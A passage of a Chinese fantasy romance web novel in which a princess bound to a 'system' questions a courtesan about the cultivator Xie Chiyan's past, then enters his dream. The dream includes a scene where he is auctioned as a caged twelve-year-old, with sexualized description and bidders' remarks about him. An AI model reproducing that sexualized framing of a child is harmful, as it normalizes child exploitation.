[是。接下来的梦境会回溯梦境主人的前尘往事,考虑到宿主的身体状况,暂时还不能进入其他人的梦境。宿主想要获取更多亲密值,提前了解谢迟砚是很有必要的。]
[醉仙楼里有个花魁来自江阴,他知道谢迟砚的身世。宿主现在可以去醉仙楼找到这个花魁,了解谢迟砚。]
[任务完成后,能获取相应的亲密值。]
这样呀......
绯棠掀开车帘,朝着外面赶车的徐女官轻声道:“阿荣,咱们去醉仙楼吧。”
“是,殿下。”
醉仙楼在帝都以西,临着一汪碧水建得精巧,全楼都是温润的木色,远远望去像浮在湖上的画舫。
绯棠沿着湖边的木质廊道慢慢走,楼里飘来的丝竹管弦声顺着风漫过来,和湖面上大片粉白荷花的清香缠在一起,倒让人心里先松快了几分。
光是走在这廊上,就觉得浑身舒畅。
她转头问身后的徐女官,轻声道:“阿荣,听说醉仙楼有个花魁是江阴来的?”
“是的,殿下。”徐女官跟得紧,声音压得也很低,“今日楼里正好有花魁宴,若是殿下要见他,臣这就去打点......”
“打什么点,我们先进去瞧瞧再说。”绯棠一把抓住她的手腕,拉着人就往楼里跑,裙摆扫过廊道的木板,发出细碎的声响。
“殿下慢些,当心脚下!”徐女官连忙跟上,伸手护着她的胳膊。
从廊道踏上醉仙楼的石阶,刚上两级,就见平台上站着三五位宾客,有的举着酒壶对着湖景浅酌,有的凑在一起低声谈笑。绯棠拉着徐女官,快步从他们身边走过,又上了几阶楼梯,眼前豁然开朗。
竟是一处宽敞的露台,台上舞姬穿着水绿罗裙,身姿婀娜地旋着,清亮的歌声随着舞姿流淌。露台四周摆着矮桌,宾客们围坐饮酒,笑声、喝彩声混着乐声,热闹得很。
“客官稀客呀!”
绯棠顺着声音抬起头,就看见从右侧楼梯下来的人。那人约莫三十出头,眉眼偏柔,嘴角挂着周到的笑,瞧着像是醉仙楼的楼主。
他快步走近来,语气殷勤:“巧得很,今日楼里正好还剩一间雅间,客官若是不嫌弃,随我上三楼?”
上三楼?
绯棠扫了眼闹腾的大堂,索性弯了弯眼,点头道:“好啊,阿荣。”
徐女官默契地递过钱袋,跟着她往楼上走。
刚上两级,楼下就起了些细碎的议论声:
“那是谁?脸上蒙着面纱看不清,竟劳动楼主亲自来迎?”
“你是新来帝都的吧?没瞧见她身后跟着的是谁?那可是长宁公主身边的徐女官。徐女官那般恭敬对待的,除了公主还能有谁?”
“长、长宁公主?!”那人声音陡然拔高,“不是说她.....活不过十八岁吗?这怎么......”
“嘘!小声点!”旁边人赶紧拉了他一把,“那可是陛下最疼的皇女,哪能轻易就没了?我远房亲戚在宫里当差,说公主是得了仙人救治,死而复生了呢!”
绯棠能感觉到那些或好奇、或探究的视线落在背上,却没回头,从容不迫地走进了雅间。
雅间三面皆是实墙,唯独到舞台的方向挂着块厚重的黑布,布纹细密,从里往外瞧能将楼下景致看得分明,外面却丝毫看不清里面的情形。
“见过殿下。”醉仙楼楼主躬身行礼,语气里带着几分小心翼翼。
绯棠朝他摆了摆手,声音透过面纱传来,透着些柔和:“不必多礼。本宫今日来这儿,是想找一位来自江阴的花魁。”
楼主愣了愣,迟疑不决,有些面露难色:“殿下要寻的,可是兰溪?”
“哦?你认识他?”绯棠眨了眨眼,“可能让他来见我?”
“兰溪是去年花魁宴的魁首,今日并未排演,原是方便见客的。”楼主连忙解释,又偷偷瞄了眼绯棠。
传闻中这位皇女天姿国色,能令世人神魂颠倒,此刻她就坐在矮桌旁,头戴珍珠流苏钗,额间一点绯红花钿,面上覆着层白纱,只露出双含情的眼眸,眼尾那抹天生的红痕若隐若现,右眼眼角处有一颗娇艳欲滴的红痣......
单是这双眼,已足够勾人。
他却不敢多看,垂着眼继续道,“只是咱们楼里的花魁向来只卖艺不卖身,殿下若是想......”
绯棠:“.......”
他想什么呢?
她才不是来做那种事的。
“楼主误会了。”绯棠端起桌上的茶盏,指尖轻轻叩了叩杯沿,“本宫来此,不是要与他做什么。”
“是小的唐突了。”楼主松了口气,“殿下稍等,我这就去将兰溪请来。”
“等等。”
绯棠叫住他,唇角在面纱下弯起个浅浅的弧度,“再备些作画的工具送来。”
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“是。”
楼主退下后,绯棠解下身上的红色披风,递给徐女官。她素来偏爱红色,此刻身上穿的衣裙也是红白相间的样式,裙摆层层叠叠,衬得腰肢愈发纤细。
徐女官将披风叠好放在一旁,又倒了杯热茶递过去,轻声道:“殿下,这醉仙楼人多眼杂,您来这儿的消息,怕是瞒不住多久。”
绯棠接过茶杯,指尖摩挲着温热的杯壁,低声道:“无妨。本宫那几位皇姐向来只当本宫是被母皇宠坏的傻子,翻不出什么浪来,暂时还不会把我放在眼里。”
“可殿下如今性命无忧,何不争一争?”徐女官跟着她多年,最清楚自家殿下绝非表面那般天真,内里的聪慧藏得极深。
绯棠轻轻笑了笑,摇了摇头:“阿荣还是太乐观了。我这身子是看着好转了些,可谁知道哪天会不会嘎嘣一下,又没气了?”
“殿下!”徐女官不认同地皱了眉。
“好啦好啦,不说这个了。”绯棠轻声哄道,一边将目光透过黑布望向楼下,转移话题,“这楼主去了这么久,人怎么还没来啊?”
话音刚落,就听见外面传来楼主略显急促的声音:“来了来了!兰溪这就到了!”
楼主引着人进来时,绯棠转过脸,就见到来人穿着一身月青色长衫,耳上坠着同色玉坠,身姿清瘦,眉眼间既有几分仙人之姿,又带着点说不出的妩媚。
确实不愧为花魁之称。
“兰溪见过贵人。”他俯身行礼,声音温润,像浸了清泉。
绯棠道:“不必多礼,坐吧。”
与此同时,楼里的人也送来了笔墨纸砚,绯棠看向身旁的徐女官,小声说:“阿荣,你去外面守着,别让旁人靠近。”
“是。”徐女官应声退了出去,雅间里只剩她与兰溪二人。
绯棠指尖轻点桌面,目光落在兰溪身上,轻声问:“会作画吗?”
兰溪视线落在她蒙着面纱的脸上,只敢匆匆瞥过那双含情的眼,略显紧张地回话:“略通一二,偏爱画些花卉。”
“那便画一幅海棠吧。”绯棠语气随意,“不必拘于章法,随心画就好。”
“是,殿下。”兰溪应着,铺开宣纸,提笔蘸墨。
笔尖刚落在纸上,就听绯棠慢悠悠地问:“你是江阴人士?那你认不认识谢迟砚?就是天玄宗的那位首席大弟子。”
“这......”
“实话实说就好。”
兰溪握笔的手顿了顿,墨滴在纸上晕开一小团黑。他抿了抿唇,一边继续勾勒海棠的枝干,一边低声道:“说相识谈不上,只是听过些传闻。他自小孤身一人,常被村里孩子欺辱,若不是后来得了仙缘,恐怕早就成了枯骨......”
“孤身一人?他的父母呢?”绯棠追问。
“不清楚。”兰溪摇了摇头,笔尖在纸上划过,落下几片花瓣,“只听长辈说,他生下来就被丢在山里,是位老婆婆心善捡了回去。可他十岁那年,老婆婆就过世了......”
“此后,他颠沛流离,是在十二岁那年遇到外出游历的天玄宗宗主,这才成了如今的仙门首席。”
这说的,竟然是那个看起来白衣胜雪、清冷出尘的谢迟砚?
绯棠紧了紧握住茶杯的手,是了,故事里的高冷仙君好像都有个凄惨的身世,谢迟砚可不就是这样嘛。
[叮!谢迟砚身世已获取,奖励100点亲密值。总亲密值:852。]
[宿主,谢迟砚的身世已经获取成功,今夜就可以入梦,宿主是否在今夜入梦?]
“是。”
回了系统后,绯棠看向兰溪,语气平淡道:“那今日就到这里吧,本宫与你说的话别让第三个人知道,酬谢之物稍后会送来醉仙楼。”
“至于这幅画......”
绯棠将视线下移到兰溪身前的画纸上,见到上面是插在花瓶里含苞待放的海棠花,细枝末节处还未完成,便道:“不用画了。”
话落,她就要起身往外走。
“殿下!”兰溪却突然喊道。
“怎么了?”
绯棠转身看向他,却见到兰溪紧紧握住画笔,面露纠结,犹豫片刻才道:“殿下为何要询问谢仙君的身世,殿下可是......心悦于谢仙君?”
绯棠眨了眨眼睛,没说话。
兰溪望着她蒙着面纱的脸,喉结动了动,声音压得更低:“我曾听闻,谢仙君在遇到天玄宗宗主前,曾被卖入销金窟......只怕早已不是清白之身。殿下身份尊贵,何必这般......”
销金窟,便是那藏污纳垢的琉璃阁,传闻那里是“只有想不到,没有得不到”这样一个地方。
“还有这事?”绯棠微微皱眉。
他不是说谢迟砚是在十二岁那年遇到天玄宗宗主的?这话里面的意思是,销金窟里面还有人口拐卖,更有恶心的恋童癖?
谢迟砚不会留下什么心理阴影吧?
[宿主,谢迟砚曾被卖入销金窟不假,但他并没有惨遭毒手,我们今夜要进去的回溯梦境就与这段往事有关,到时候你就能知道事情的原委了。]
与此同时,兰溪抿唇道:“我也只是听闻,也不知是真是假。”
绯棠弯了弯唇,对他暗地里的小心机没有说破,只是道:“无妨。”
这次不等兰溪再说什么,绯棠就对着雅间门外道:“阿荣,我们回去吧。”
绯棠带着徐女官刚从雅间走出去,就见今日醉仙楼的花魁宴正到热闹处,舞台上已有花魁上台献艺,要从七位花魁中再择新魁,兰溪原是去年魁首,今日并未参与。
原本这种地方,除了纨绔世家女,帝都贵女们不会光明正大前来,可长宁公主现身的消息一传,楼里竟多了不少生面孔。
不巧,绯棠的大皇姐就在其中。
“哟,本宫听说长宁在醉仙楼时还不太信,不曾想五妹竟真有这雅兴?”
原本要往楼下走的绯棠心里一紧,她这大姐最是面慈心狠,今日出现在这儿准没好事。
“大皇姐。”
绯棠转身看向从左侧雅间里走出来的大皇女,对方身着一袭宝蓝色宫装。
大皇女眉目瞧着祥和,听完她这声唤,视线在她身上停顿片刻,只觉得她这五妹走了一回鬼门关,人似乎有些不同了?
不知怎的,她瞧着竟觉得长宁没那么讨人嫌了。
思绪回笼,大皇女将视线越过绯棠,落在身后的兰溪身上,语气带着几分玩味:“这便是五妹瞧上的花魁?”
她的目光在略显局促的兰溪身上转了一圈,啧了声:“身段样貌,倒还过得去。”
可话锋陡然一转,她意有所指道:“只是祁大公子还在宫里陪着淑妃呢,若是知道五妹来这种地方,怕是要伤心了。”
绯棠只觉得脑袋疼,她这大姐早就搬出宫立了府,今日来这儿,怕是既要看看她是不是真如传闻般死而复生,也要打探她这素来不喜喧嚣的五妹,怎会突然踏足青楼。
不巧,她问兰溪的话绝不能让第三人知晓,否则让人知道她在打听谢迟砚的身世,麻烦就大了。
她索性含糊道:“皇姐说笑了。长宁病了太久,大病初愈,总想着多看看这帝都繁华。不然哪日又病入膏肓,岂不是要留遗憾?”
她瞥了眼兰溪手上的画纸,补充道:“再者,兰溪是去年花魁宴的魁首,既来了,自然要见最好的。他的海棠花,确实画得不错呢。”
话音刚落,她突然轻轻咳嗽起来,拽住徐女官的衣袖:“咳咳.....许是天气转凉,风邪入体了.....阿荣,我们回宫吧。”
“是,殿下。”徐女官连忙扶住她。
绯棠眼睫低垂,声音带着病气:“我们走。”
来时天还亮着,此刻出来,夜色早已漫了上来。
三楼露台上,大皇女望着那抹红色身影远去,温和的眼眸瞬间冷了下来。她扫过兰溪手中的画纸,上面隐约可见未完成的海棠,沉声问:“你与长宁方才做了什么?”
兰溪握着画纸的手止不住地抖:“回大皇女,兰溪方才只是与公主在内作画,并无不妥......”
“当真?”
“兰溪不敢欺瞒。”
大皇女见挑不出错处,一挥衣袖,也离开了醉仙楼。
醉仙楼楼主刚才吓得大气不敢出,这时才凑到神色恍惚的兰溪身边,低声道:“你可真是好运气,竟让长宁公主侧目。”
兰溪定睛看他,却是苦笑着摇头。
哪儿是他得了青眼,公主心里念着的分明是那鼎鼎有名的谢仙君。
4. 第 4 章
入夜。
空气中弥漫着酒气与若有似无的奢靡气息。角落里,乐师奏着靡靡之音,那调子软得像没骨头。
这里是“琉璃阁”,江阴城里最负盛名的销金窟,连地砖缝里都像是浸着金子。
“诸位,今日的压轴拍卖,现在开始了。”
高台上,戴着黑色面具的黑衣侍从扯落蒙着的红绸,露出个四四方方的铁笼子。
那笼中缩着个身形单薄的少年,瞧着不过十二岁,身上却套着件过分华丽的红绸袍子。衣料是上好的云锦,却明显不合身,领口松垮地敞着,露出纤细的锁骨和一片雪白的胸膛。
他低着头,整个人像株被强扭着开花的梅,透着股别扭的艳。
琉璃阁向来不限制,台下人有男有女,那目光像张密网“唰”地将他一下罩住。有审视,有贪婪,有毫不掩饰的玩味,那些视线黏在他过分漂亮的眉眼上。
“这品相,真是绝了。”
“听说还是个雏儿,够纯。”
“我出五十两!”
“一百两!”
...
竞价声此起彼伏,铁笼里的少年却靠着栏杆闭着眼,睫毛在眼下投出片浅影。烛火明明是暖黄的,落在他身上却像结了层薄冰,让他看起来像尊被摆在货架上,等着人挑拣的瓷娃娃。
是谢迟砚。
站在二楼包厢外的绯棠,在认出那笼中少年的瞬间,握着栏杆的手指猛地收紧,指节都泛了白。
[宿主,这是他的回溯梦境,此刻的谢迟砚只是意识投影。以他如今的修为,动动手指就能让这些人碎尸万段,你别被他这副模样骗了。]
被骗?可他现在明明被关在笼子里,那么瘦小,眼神里还藏着怯意......
眼看着楼下的价已经喊到五百两,就要定局,绯棠深深吸了口气,突然扬声道:“我出一千两。”
这清亮的声音一出,瞬间压过了楼下的嘈杂。
所有人的目光“唰”地投向二楼。
只见一个身穿红白长裙的少女倚在栏杆边,脸上罩着只狐狸面具,只露出一双弯弯似月牙的眼睛。
那主持拍卖的侍者对她的出现也有些惊奇,“这位姑娘看起来是个生客,您方才说了什么?”
“我说......我出一千两,我要这笼子里的人。”绯棠道。
“她真的出了一千两!”
或许是没料想到半路会杀出个不知来路的姑娘,楼下议论纷纷,猜测着她的身份,再没人加价。
连台上笼子里的谢迟砚也抬眼望了过来。
知道他在看她,绯棠仗着脸上戴着狐狸面,便没有刻意控制面具下的神情,还朝着谢迟砚所在的方向微微抬了抬下巴。
似在朝他打招呼。
楼下闹哄哄一片,却无人在意铁笼里的少年是何种心情。台上的黑衣侍从见无人再竞价,终于落下了手中的木槌。
“咚——”
一锤定音。
少顷,三楼西角的房间里,绯棠坐在床榻边,一边留意着外边的动静,一边用心声道:“统啊,当年谢迟砚在这里经历了什么呀?他那时候才十二岁,怎么能从这里自保的?”
[宿主,当年谢迟砚是被一个右边脸上长了颗大痣的男人拍下的。那男人是江阴城城主的嫡子,因脾性和外貌寻不到妻主,便逐渐变态到以虐待幼童为乐,最是喜欢让男孩穿上女装来受他凌辱。]
[只是当年他偷鸡不成,反而被谢迟砚用簪子捅穿了喉咙。]
竟然是这样......绯棠听得心里发紧。
就在这时候,房门被轻轻叩响。
方才在台上主持拍卖的黑衣侍者推门进来,脸上堆着勉强的笑:“这位客官,实在对不住啊.....那小奴,被小公子先一步带走了。”
谢迟砚被人带走了?
绯棠猛地站起身,目光落在侍者身上直皱眉。
她在梦境中的天真脆弱本就是演出来了的,如今不加收敛,那一身自小养尊处优的皇女气势便藏不住,此刻蹙眉盯着侍者,露出的气势竟让他不由自主地缩了缩脖子。
“你说的小公子,可是江阴城主的嫡子?”
“是......是他。”侍者声音发颤,连忙补充,“您看......要不楼里把钱退给您?或是再给您寻个品相相当的送来?”
绯棠简直被他的话气笑了:“你说呢?”
“人在哪儿?带路。”
“是......是......”
与此同时,东边的房间里,烛光摇摇晃晃,将床榻照得明明灭灭。被扔在床上的谢迟砚抬眼望去,只见那记忆中熟悉的丑陋嘴脸正凑过来。
眼前一幕和几年前一模一样。
男人右脸那颗硕大的黑痣在烛火下泛着油光,手里竟拿着件艳俗的女装,正往他身上比划,显然是想将他扮成女子。
谢迟砚眼中毫无波澜。早在现实中,这人就已是冢中枯骨。他之所以任由梦境循着记忆铺展,不过是想看看,究竟是谁在频频搅扰他。
心思流转间,他面上却垂下头,肩膀微微颤抖,像是被吓得厉害,对那步步逼近的黑痣男满是惧意。
房间外,绯棠跟着侍者刚靠近,就听见门缝里漏出模糊的声响:
“......别碰我。”
紧接着是布料摩擦的窸窣声,随后是一声闷响,像是有人被按在了墙上,再之后便是压抑的呜咽,显然是有人正在受辱。
等等,这是在逼谢迟砚穿女装?可这声音......怎么听着比想象中更委屈?
下一瞬,布料撕裂的脆响传来,伴随着男人的呵斥:“哭什么哭!赶紧把衣服脱了,不然别怪我动粗!”
“啪!”的又是一声脆响,像是有人挨了巴掌,呜咽声愈发沉闷。
绯棠的心一下子揪紧了,哪还顾得上多想,她猛地抬脚踹开房门,冲进去大喊:“死变态!放开那个男孩!”
可眼前的景象却让她瞬间定在原地,浑身的血液都凝固了。
房间里确实有人被胁迫着抵在墙上,但被按在墙上的,竟是那个右脸带痣的男人!一把锋利的长剑正横在他脖颈上,吓得他涕泪横流,抖得像筛糠。
而谢迟砚,此刻分明是成年的模样,穿着合身的红衣,好整以暇地坐在房间里的圆桌边。一见到她,他便盯住她,目光沉沉,片刻后才开口,“又是你。”
话说出的那瞬间,绯棠眼睁睁地看见那墙边被剑胁迫的黑痣男被剑抹了脖颈,随后倒在地上消失了。那把剑“嗖”的一下飞到她眼前,剑气控制得极好,只将她脸上的狐狸面具刺碎,完完整整地露出她的脸来。
绯棠吓得往后缩了缩,咽了咽口水,颤颤巍巍地顺着剑尖看向剑的主人,“谢...谢
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仙君......你这是做什么呀?”
“做什么?”
谢迟砚起身,不紧不慢地靠近她,一双寒眸里带着审视,“这话该是本君来问你才对。”
“你频繁将本君拉入梦境,是何居心?”
绯棠连忙装傻,眨着湿漉漉的眼睛“啊?”了一声,脸上全是无辜,一副“我听不懂你在说什么”的表情。
谢迟砚却没被她糊弄过去,停在她面前,目光锐利:“起初本君只当你是无辜之人。可本君昨夜泡在绛英池水里,不会做梦。今夜更是点了清神香,却仍是入了梦。唯有一个说法,那便是有人凭空捏造了梦境拉本君入内,与昨夜一模一样的是,你也在。”
“你对这梦境这般来去自如......当真是让本君很意外啊。”他的声音越来越冷,周身的气势让绯棠的心脏突突直跳,指尖都在发抖。
他不会要一剑把她捅死吧?!
系统系统!救命啊!!!
可系统关键时刻掉了链子,根本没吱声。
绯棠只能继续装无辜,一时间咬着唇,尝试着先稳住他,“那什么......你先听我解释。”
“我其实......”她拼命转动着脑瓜子,急得眼眶都红了,泪珠在眼眶里打转,却想不出半句像样的辩解。
这时候,背后不知是谁猛地推了她一把,让她整个人控制不住地往前倒去。
“!”系统你要谋杀本宿主啊!!!
绯棠眼看着就要谢迟砚对准她脖颈处的剑离她的皮肤越来越近,就要撞在剑尖上了。
千钧一发之际,谢迟砚快速将剑收回,她的身子便顺理成章地倒向了他。
一切发生得太快,绯棠下意识想抓些什么稳住身形,指尖却只捞到一片顺滑的锦缎。可那触感刚入掌心,她整个人已经重重撞在一道坚实的胸膛上,惯性带着她往下滑去。
“嗤啦”一声裂帛响刺破寂静。
谢迟砚垂眸时,正撞见自己的红色长裤被一股蛮力拽着,从腰间松脱滑了下去。
“......”
趴在他腿间的绯棠懵了懵,脑子里一片空白,只隐约瞥见那白花花的肌肤,又慌忙闭上眼。
天呐,她怎么会做出这种事......这下真成流氓了。
可当事人谢迟砚,房间里昏黄的烛光顺着他敞开的衣襟淌进来,照亮他骤然绷紧的下颌线,以及眸底瞬间翻涌的错愕与......一丝极淡的狼狈。
“你、还、要、趴、多、久。”这声音像是从牙缝里挤出来的,带着隐忍的咬牙切齿。
绯棠动了动还拽着他玉带的手,懵懵地“啊......”了一声,脸颊已经烫得能煎鸡蛋。
“赶紧起来!”谢迟砚的声音更沉了。
“抱、抱歉......”她声音细若蚊蚋,手忙脚乱想爬起来。
可刚撑着他的膝盖直起身,又突然脚软,反倒又往前扑了半寸,直接撞进他怀里,慌乱中手还掐在了他的腰侧。
更让她无地自容的是,在这接二连三的慌乱触碰下,她本想刻意忽略的地方,却清晰地感觉到了一丝不同寻常的坚硬。
绯棠:“......”
她的脸瞬间红透,连耳根都烧了起来,手忙脚乱地想往后退,却忘了自己还趴在他身上,反而又蹭了一下。
谢迟砚:“......”
5. 第 5 章
谢迟砚猛地攥紧了拳,指节泛白,喉结滚动了一下,眸色沉得像是要滴出墨来。
[叮!恭喜宿主达成扒裤子成就,奖励1000点亲密值。撩动梦境主人心弦使其反应剧烈,获得400点亲密值。]
[总亲密值,2252点。]
绯棠眨了眨眼睛,多少?
2252!
她那点儿因为将谢迟砚裤子弄掉了的羞耻感,突然就被这么多亲密值冲淡了许多。
这么多亲密值够她多活好久了!
可是什么都不知道的谢迟砚,见到她眼中那突然乍现的、毫不掩饰的欣喜,只当她色心大起要做什么了,当即又气又急:“你当真是不知羞耻!”
绯棠猛地被他推开来,踉跄着倒在地上。
她往后仰倒时,因着高低差,原本没刻意去看的地方,这下看得真真的。
“!!!”
这......这也太天赋异禀了吧?
“不许看!”谢迟砚的声音里带着几分不易察觉的慌乱,耳根都泛起薄红。
绯棠连忙双手捂眼,小声嘟囔:“我又不是故意的嘛。”
可这反应落在谢迟砚眼里,怎么看都透着心虚。“不是故意的?”
他冷笑一声,语气里满是不信。
“真的!”绯棠急着辩解,“刚才分明是有人从背后推了我一把,我没站稳才往前倒,才会......才会那样的。”
她耳朵尖动了动,听见谢迟砚穿衣的细碎声响,顿了顿才把话说完,声音里还带着点委屈。
谢迟砚已经将衣衫带子系好、系紧,正闭着眼调息,要压下.体.内那股莫名的躁动。
可是一听见她这么说眼皮就是一跳,没接那茬,反倒抓住话中关键:“你说方才有人推了你?”
绯棠悄悄从指缝里偷瞄他,见他神色缓和了些,便大着胆子道:“是呀,就是有人推我。”
谢迟砚瞧着她这副明显怕了自己的模样,幽深的眸子里泛起几丝波澜:“你如何证明?”
这要怎么证明啊!!!
绯棠鼓起勇气,小声道:“我说了是被人突然推了一下便真的是被推的。刚才的一切发生得太快了,你要是非要我证明是被人推了......”
她顿了顿,“不然咱们复刻一下刚才发生的事?我倒是不介意再来一次,但是你好像不太......”
“闭嘴。”谢迟砚打断她。
绯棠抿唇,小声嘀咕:“看吧,我说了你又不乐意听。”
“你倒是越发胆大了。”
谢迟砚看她。
她便赶紧看天看地,躲避他的视线,乖乖闭了嘴。
可没一会儿,又听见他问:“你方才说有人推了你,与昨夜一样是......”
“是呀......”绯棠点点头,“昨夜不小心亲了你也是控制不住身体。”
谢迟砚深吸一口气,有些无语,却还是要搞清楚究竟,“你既只是被人操纵,当真是南界的凡人?”
“是的。”这可没骗他,绯棠不假思索就道:“我真的只是一个平平无奇的凡人。”
“你如何证明?”
这也要证明?那她肯定不能说真话啊。
绯棠在心里嘀咕,嘴上却想也没想就开始胡说,“我家原本在江阴,只是年幼时父母意外亡故,只能去帝都投靠姨母。姨母待我如亲子,我在家中过得还算不错呢。”
她眼睛一转,又补充道:“若非要证明......我知道帝都最好吃的酒楼是玖月楼,最好玩的地方是醉仙楼,全帝都最美的是长宁公主。”
暗戳戳自夸后,绯棠悄悄瞄了瞄他,见谢迟砚正看着自己,没说话。
突然“咻”的一声,他的溯光剑飞回了剑鞘里。
绯棠懂了,他真的不会杀她了。
还没等她把笑意挂脸上,就见谢迟砚提剑往外走,丢下一句:“跟上。”
绯棠赶紧跟上,小步跑着追问:“去哪呀?”
“找把我们拖进这梦境的东西。”
绯棠脚步微顿,随即又若无其事地跟上去,“怎么找呀?”
“无尽海妖族里有种魇兽,能织梦困人,这幻境与魇兽的手段颇像。找到那幕后之物的真身,灭了它,自然就能破阵。”
绯棠看着这栋楼,方才进来时还很热闹的琉璃阁,现在已经空无一人,静得有些可怕。
谢迟砚要在这里面找到系统的真身,真的能找到吗?
等等......
绯棠眼皮突然一跳,系统的真身不是在她身上吗?
难道说......她心里咯噔一下,不敢再想下去。
[是的宿主,梦境主人要是在梦境里杀了你,梦境就会被破。我与你命脉相连,若你死了我也会受到重创,到时候,你我都没有好果子吃。]
绯棠悬着的心,终于死了。
谢迟砚刚才说了不会杀她,那是建立在她也是无辜的条件之上,要是知道将他们拉入梦境的罪魁祸首就在她身上,她绝对要完蛋!
那她现在是要打消谢迟砚离开梦境的心......
“怎么了?”谢迟砚察觉到她情绪的剧烈波动,脚步一顿,忽然出声问道。
台阶上,绯棠侧过头看向他,手还攥着衣角,声音轻轻的:“你很想离开梦境吗?”
谢迟砚皱眉:“为何如此问?”
看他露出疑惑的神色,绯棠抿了抿唇,“我只是觉得,在这梦境里好像也没什么危险,而且......而且把我们拉进来的人,似乎只想让我们两个......亲近彼此。”
一听这话,谢迟砚停在了通往琉璃阁外的大门处,转身看她,眼神里多了几分探究:“你不愿离开?”
虽是疑问句,语气里却带着笃定。
他望着绯棠,追问:“为何?”
绯棠耷拉着脑袋,指尖轻轻抠着木门上的纹路,没直接回答,反而小声问:“你讨厌我吗?”
她垂着眼眸,声音听起来有些委屈:“是不是因为我之前冒犯了你,你才不愿意和我待在这儿?明明昨夜我们都平安离开梦境了的......”
一听这话,谢迟砚紧了紧握住剑柄的
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手,“不是。”
不是?
绯棠长长的睫羽微微颤动,她却像是没有听见他说的话那般猛地抬头看他。
那眼中不知何时已经蓄满了泪水,本就泛红的眼尾更红了,还透着几分可怜巴巴的模样。
“我可以对你负责的。”
“我看了你的身子,我娶你当老婆,我对你负责。”
谢迟砚望着她从眼角滑落的泪珠,指尖几不可察地动了动,嘴上却依旧硬着:“不必。”
“不行。”她却立刻反驳,语气带着点固执的认真。
她抬手抓住他的手臂,再一次重复,声音软软的却很坚持:“在我们那儿,看了男子的身体就是要负责的。我才不要离开梦境,那样不就没办法见到你了?见不到你,我肯定会茶饭不思、心力憔悴的。”
“我不管这将我们拉进来的人是什么居心!我就是要对你负责,我还想......还想在梦里见到你,真的!”
“负责?”
谢迟砚的目光落在她湿漉漉的眼睫上,那两个字在舌尖滚了滚,染上几分说不清的意味。
他自小在南界长大,后来才拜入的天玄宗,自然知晓南界对女子向来爽朗直接,以女子为尊的风气也让她们行事少了许多顾忌。
可活了这许多年,他从未见过哪个女子能像眼前人这样,明明前一刻还红着眼眶、委屈巴巴的,下一刻就能睁着水光潋滟的眸子,对一个只见过两面的男子说出“娶你当老婆”的话。
谢迟砚自认皮相尚可,过往也不是没有过因容貌而来的示好,可这般......带着点蛮不讲理的热烈,还是头一遭。
思索间,又见到绯棠抽了抽鼻头,郑重地朝他点头:“是呀,我要对你负责。不过我想娶你当老婆是出于喜欢,并不只是因为要对你负责。”
那双眼睛热烈地看着他,里面是不夹杂假意的欢喜,全是真挚。
谢迟砚的指尖几不可察地蜷了蜷。
她竟......真的喜欢他到这种地步?
他喉结微滚,正要开口说些什么,却见绯棠忽然踮起脚尖,飞快地在他脸颊上啄了一下。
那触感轻得像羽毛,却带着滚烫的温度。
她又在亲吻他了......
谢迟砚怔住了,他望着眼前人亮晶晶的眼睛,忽然觉得,这梦境或许比他想象中更麻烦些。
“你......”谢迟砚喉结滚动,微不可查地动了动唇想要说什么。
可绯棠看似胆大,实则心里怕得要死,连忙在心里呼唤系统,“系统系统!快快快,快带我出去!”
谢迟砚未尽的话语哽在喉间,周遭的景象已经如融雪般缓缓淡去。连那近在咫尺的少女身影都忽然变得模糊不清。
他来不及再多说一个字,便从这场梦里突然惊醒。
与此同时,北境与南界交界的郊外。
从树枝叶间隙中洒下的微光将少年俊朗的侧脸映得明暗交错。
一旁燃了没多久的凝神香,不知何时已经熄灭。
谢迟砚缓缓睁开眼,才惊觉天已经大亮。
6. 第 6 章
南界另一端,帝都长宁殿内,刚从谢迟砚梦中抽身的绯棠正在兑换生存时长。
[叮!生存时长已兑换成功,剩余亲密值2412。]
听见系统兑换成功的声音后,绯棠看着如今这么多的亲密值,心情更好了。
她便坐在床榻边,朝着殿外扬声道:“阿荣,传膳。”
“是,殿下。”
绯棠坐到桌边时,连日来因两夜梦境积攒的亲密值,让她心头多了几分踏实,连带着胃口也好了不少。
可这份好心情,在听见“要被送去天玄宗调养身体”时,瞬间碎得彻底。
“你说什么?去天玄宗!”
她手中筷子夹着的红烧肉“啪嗒”掉回盘子里,顾不上擦拭嘴角,只一脸震惊地盯着徐女官,眼睛瞪得圆圆的,“没听错吧?你刚才说,母皇让本宫去天玄宗调养身体?”
“是的,殿下。”
绯棠听着徐女官这么确切的话一时间急得声音都跟着发颤:“不能吧!本宫现在的身体好得很,根本不用去的。”
“这是陛下的旨意。”
徐女官神色不卑不亢,“昨日陛下在您醒后,便已传信至天玄宗。风衍宗主得知后,特意让人传话,请殿下去天玄宗,由他亲自为您调理身体。”
“风衍宗主特意为本宫调养身体......”绯棠复述着这几个字眼,心头猛地咯噔一下。
该不会是昨天她随口提了句“是被拉入绛英池才活过来”,才让母皇动了这个念头吧?
可谢迟砚就在天玄宗啊!
这个认知像块石头砸进心底,让她瞬间慌了神。
她梦里梦外都长得一样,要是被谢迟砚看见了那还得了!
[宿主不必担心,梦境主人在梦醒后不会记得你的容貌。]
[不过容貌只是外在,你人还是那个人,要想不被发现,宿主还需要小心些。]
绯棠:“......”
统啊,这不是小心不小心的事儿。
她要是再继续入梦,和谢迟砚越来越亲密、肌肤相亲!她在情绪高涨兴奋时尾巴和小犄角是会露出来的!
到时候谢迟砚看见了,定会以为她是什么妖怪。这去了天玄宗,抬头不见低头见的,要是被识破皇女长宁和魅魔绯棠是一个人,那她别说是继续入梦赚取亲密值了,直接连活下去的机会都没了!
她可是知道北境的修士对妖和魔是什么样的态度......
“殿下?”徐女官见自家殿下神情恍惚,眼中也染上了慌乱。
徐女官忍不住宽慰道:“殿下可是在怕出了帝都会有危险?”
绯棠看向她,懵懵地“啊?”了一声。
徐女官又道:“殿下不必担心,风衍宗主已让人前来接您去往天玄宗,那修士乘传送阵而来,算算时间,如今怕是已经到了离帝都最近的边境。”
“!”绯棠这下子真的清醒了,“这么快!”
那就是说,再过几日,她就要离开帝都了?
徐女官盯着她的脸,又飞快垂下头,不敢多看。
“是,北境的修士与凡人不同,脚程自然快上许多。来人又是修为高深的仙君,自是不能以寻常标准去衡量。”
“好吧......”绯棠小声说着。
或许心里存了忧虑,她看着桌上的菜感觉都没有之前的香了。又吃了些,便放下了碗筷。
之后的几日里,她都没有再入谢迟砚的梦,短暂将赚取亲密值的事丢到脑后,过了五日。
可惜时间过得极快,就在第五日睡午觉时,她便被徐女官从床上挖了出来。
“殿下!别睡了,天玄宗的人到了!”
